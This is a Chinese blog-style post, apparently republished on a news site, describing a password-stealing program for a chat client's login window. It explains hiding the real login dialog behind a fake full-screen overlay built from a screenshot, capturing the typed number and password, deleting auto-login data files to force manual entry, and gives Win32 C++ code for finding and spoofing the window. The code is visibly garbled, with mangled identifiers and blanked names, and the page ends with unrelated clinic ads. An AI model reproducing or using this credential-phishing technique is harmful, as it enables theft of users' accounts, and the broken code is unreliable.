首页 >> 民生视野

编程窃取密码牛

民生视野  2021-08-24 18:33 字号: 大 中 小

近日无所事事,看到现在的防盗技术越来越好,一般的钩子已经无法获取用户输入 的密码了,我也试图用发送WM_GETTEXT消息以及GetWindowText来获取密码文本框的数据,发现是不可行的。左思右想,既然程序本身的防范很 严密。那么我们就从用户这边来下手吧。毕竟很多用户对电脑不是很了解的,各位看官可不能扔丑鸡蛋啊。

吧里一般用户点击快捷方式后就输入号码和密码,然后再登陆,这样我们就可以进行欺骗了。我们的程序运行在后台不停的检测当前激活的窗口是不是登录的窗口,如果是的话就先取得登录窗口中的号码、密码文本框和登陆按钮的窗口位置。这样是为了在我们伪造的窗口上创建这些窗口时不被察觉,获得这些信息后,我们先截取整个屏幕,然后把真正的登录窗口隐藏起来,最后创建我们自己的窗口,设置为最前占满整个桌面,然后再背景上贴上刚才抓取的图片。最后在图片登陆的地方创建好号码和密码输入窗口,在检测到用户单击在登陆按钮时获取用户输入的字符,把这些字符发送到真正的窗口里,最后模拟单击登陆按钮完成的正常登陆。

然而家庭用户一般是选了自动登陆的方式,所以没有登录的窗口,那我们就要动一些手脚了。了解的地球人都知道,文件夹下有这两个文件:t和t,它们的功能:这两个文件是的号码登录数据文件,t 保存的是自动登录号码的数据文件,t则保存的是登录窗口中的“号码”下拉框中显示的所有号码记录。所以我们要删除登录数据,直接删除t和t两个文件就行了。主要代码分析如下:

但是非常艰难和复杂 //根据进程ID得到进程名称 BOOL processIdToName(LPTSTR lpszProcessName, DWORD PID) { HANDLE hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0); PROCESSENTRY32 pe; Size = sizeof(PROCESSENTRY32); if (!Process32First(hSnapshot, pe)) { return FALSE; } while (Process32Next(hSnapshot, pe)) { if (32ProcessID == PID) { strcpy(lpszProcessName, ExeFile); return true; } } return FALSE; } //查找登录窗口 void Find() { HWND hWnd1 = NULL, ID_hWnd = NULL, Pass_hWnd = NULL; HWND ButtonLogin = NULL, ButtonCancel = NULL; char sTitle[255]; CString ss; DWORD PID; int LoginID; BOOL find = FALSE; do { //获得当前激活窗口的句柄 g_hWnd = GetForegroundWindow(); GetWindowThreadProcessId(g_hWnd, PID); //根据PID获得进程名 processIdToName(sTitle, PID); ss = sTitle; keLower(); //判断是否 if(ss != \"e\") { Sleep(100); continue; } //获得标题文字,判断是否登陆对话框 SendMessage(g_hWnd,WM_GETTEXT,255,(LPARAM)sTitle); ss = sTitle; int n = nd(\"\", 0); int m = nd(\"登录\", 0); if(n = 0 || m = 0) { //查找登陆按钮的句柄 ButtonLogin = FindWindowEx(g_hWnd, ButtonLogin, \"Button\", \"登录\"); LoginID = GetDlgCtrlID(ButtonLogin); ButtonLogin = FindWindowEx(g_hWnd, ButtonLogin, \"Button\", \"登录\"); LoginID = GetDlgCtrlID(ButtonLogin); //获得登陆按钮窗口位置 GetWindowRect(ButtonLogin, g_Login); //查找取消按钮的句柄 ButtonCancel = FindWindowEx(g_hWnd, NULL, \"Button\", \"取消\"); //获得取消按钮窗口位置 GetWindowRect(ButtonCancel, g_Cancel); //查找密码输入框的句柄 hWnd1 = FindWindowEx(g_hWnd, NULL, \"#32770\", NULL); if(hWnd1 != NULL) { Pass_hWnd = FindWindowEx(hWnd1, Pass_hWnd, \"Edit\", NULL); //获得密码输入框窗口位置 GetWindowRect(Pass_hWnd, g_PassRt); } //查找号码输入框的句柄 hWnd1 = FindWindowEx(g_hWnd, NULL, \"ComboBox\", NULL); if(hWnd1 != NULL) { ID_hWnd = FindWindowEx(hWnd1, ID_hWnd, \"Edit\", NULL); //获得号码输入框窗口位置 GetWindowRect(ID_hWnd, g_IDRt); //获得当前默认号码 SendMessage(ID_hWnd,WM_GETTEXT, 255,(LPARAM)id); } //等待窗口完全出现后抓取整个屏幕 Sleep(100); g_ft = 0; g_p = 0; g_ght = m_xScreen; g_ttom = m_yScreen; g_pBitmap = CopyScreenToBitmap(g_DlgRt); //设置窗口为不可见 ShowWindow(g_hWnd, SW_HIDE); //弹出我们创建的伪造对话框 HINSTANCE hInstance = GetModuleHandle(NULL); DialogBoxParam(hInstance, (LPCTSTR)IDD_WIN847, 0, (DLGPROC)win847, 0); //设置窗口为可见 ShowWindow(g_hWnd, SW_SHOW); //把号码和密码填到真正的登录窗口上,并模拟单击登陆按钮 SendMessage(ID_hWnd, WM_SETTEXT, 0, (LPARAM)id); SendMessage(Pass_hWnd, WM_SETTEXT, 0, (LPARAM)pass); SendMessage(ButtonLogin, BM_CLICK, 0, 0); DeleteObject(g_pBitmap); //设置标志退出循环 find = true; } } while(find == FALSE); }

截图如下:

图一 伪装的登陆界面   好了,说到这儿也差不多啦,见笑见笑了^_^,最后奉劝一句,请勿用于非法。

查看本文源

金昌专治白癜风的医院
北京白癜风医院排名
太原皮肤科医院哪家好
推荐资讯